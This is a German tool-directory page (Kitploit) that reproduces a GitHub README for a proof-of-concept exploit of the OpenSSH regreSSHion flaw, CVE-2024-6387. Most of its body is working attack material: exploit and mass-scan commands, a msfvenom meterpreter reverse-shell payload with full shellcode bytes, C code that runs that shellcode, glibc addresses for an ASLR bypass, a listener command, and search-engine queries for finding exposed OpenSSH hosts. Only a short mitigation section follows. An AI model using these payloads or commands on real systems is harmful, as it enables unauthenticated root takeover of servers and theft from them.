Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-6387 — Proof-of-Concept-Exploit für CVE-2024-6387 (regreSSHion), der auf nicht authentifizierte Remote-Codeausführung im OpenSSH-Server durch eine Race-Condition im Signal-Handler abzielt. Beinhaltet Scannen, Ausnutzung und Reverse-Shell-Generierung. | Kitploit
Tools/GitHubGitHub/prelearn-code/cve-2024-6387
SchwachstellenanalyseExploitationShellcodePenetrationstestsCommand and ControlRemote-Access-ToolPayload-Entwicklung
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

Proof-of-Concept-Exploit für CVE-2024-6387 (regreSSHion), der auf nicht authentifizierte Remote-Codeausführung im OpenSSH-Server durch eine Race-Condition im Signal-Handler abzielt. Beinhaltet Scannen, Ausnutzung und Reverse-Shell-Generierung.

Repository anzeigen
29vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ursprünglicher Beitrag

openssh CVE-2024-6387 - PoC

📜 Beschreibung

Hinweis: Dieses Skript ist ein schneller Prototyp-PoC, es können Fehler und Bugs auftreten. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04

Schwachstelle zur Remote-Ausführung von Code ohne Authentifizierung im OpenSSH-Server

Im Server von OpenSSH (sshd) wurde eine Race-Condition im Signalhandler gefunden. Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (Standard 120, bei alten OpenSSH-Versionen 600) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-safe sind, z. B. syslog().

📁 Inhaltsverzeichnis

  • 📖 Einzelheiten
  • ⚙️ Verwendung
  • 🔍 Host-Erkennung
  • 🛠️ Gegenmaßnahmen
  • 💁 Referenzen
  • 📌 Autor
  • 📢 Haftungsausschluss

✍🏻 Einzelheiten

Die technischen Einzelheiten finden Sie hier.

Der Fehler, der von Forschern bei Qualys im Mai 2024 entdeckt wurde und die Kennung CVE-2024-6387 erhielt, ist auf eine Race-Condition im Signalhandler von sshd zurückzuführen, die es nicht authentifizierten entfernten Angreifern ermöglicht, beliebigen Code als root auszuführen.

„Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (Standard 120) authentifiziert, wird der SIGALRM-Handler von sshd asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-safe sind.“

„Ein entfernter, nicht authentifizierter Angreifer kann diesen Fehler ausnutzen, um beliebigen Code mit Root-Rechten auszuführen.“

⚙️ Verwendung

Scanning OpenSSH Server

Voraussetzung: python3 (neueste Version)

$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportieren (csv,txt,json)

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Mehrere Ziele

$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Zeitüberschreitung hinzufügen

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Netzwerkbereiche

$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Benutzerdefinierter Port

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Eskalationsprozess

Reverse Shell erhalten

# Generieren eines Shellcodes 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Benutzerdefinierter Payload

#include <stdio.h>

// Ein Platzhalter für Ihren benutzerdefinierten Payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Shellcode ausführen
    printf("Ausführen des Shellcodes...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Tatsächlicher Payload

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Mögliche glibc-Basisadressen (für ASLR-Bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode-Platzhalter (durch tatsächlichen Shellcode ersetzen)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Kompilieren und Starten des Payloads

# Payload kompilieren
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Ausführen des Payloads

# Sobald Sie eine erfolgreiche Exploit-Meldung erhalten, initiiert msfconsole automatisch eine Meterpreter-Sitzung.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Abfangen des Payloads

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Host-Erkennung

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Gegenmaßnahmen

  • Patch-Management: Die zeitnahe Anwendung verfügbarer Patches für OpenSSH ist entscheidend, um die Schwachstellenlücke zu schließen. Rechtzeitiges Patchen stellt sicher, dass bekannte Exploits nicht gegen Ihre Systeme eingesetzt werden können, wodurch das Zeitfenster für Angreifer verkleinert wird.

  • Erweiterte Zugriffskontrolle: Die Einschränkung des SSH-Zugriffs durch netzwerkbasierte Kontrollen fügt eine zusätzliche Verteidigungsebene hinzu. Dieser Ansatz minimiert die Gefährdung durch potenzielle Angreifer, indem SSH-Verbindungen nur auf autorisierte Netzwerke oder IP-Adressen beschränkt werden. Die Implementierung von Tools wie Firewall-Regeln oder die Verwendung von VPNs für sicheren Zugriff können diese Einschränkungen effektiv durchsetzen.

Tool herunterladen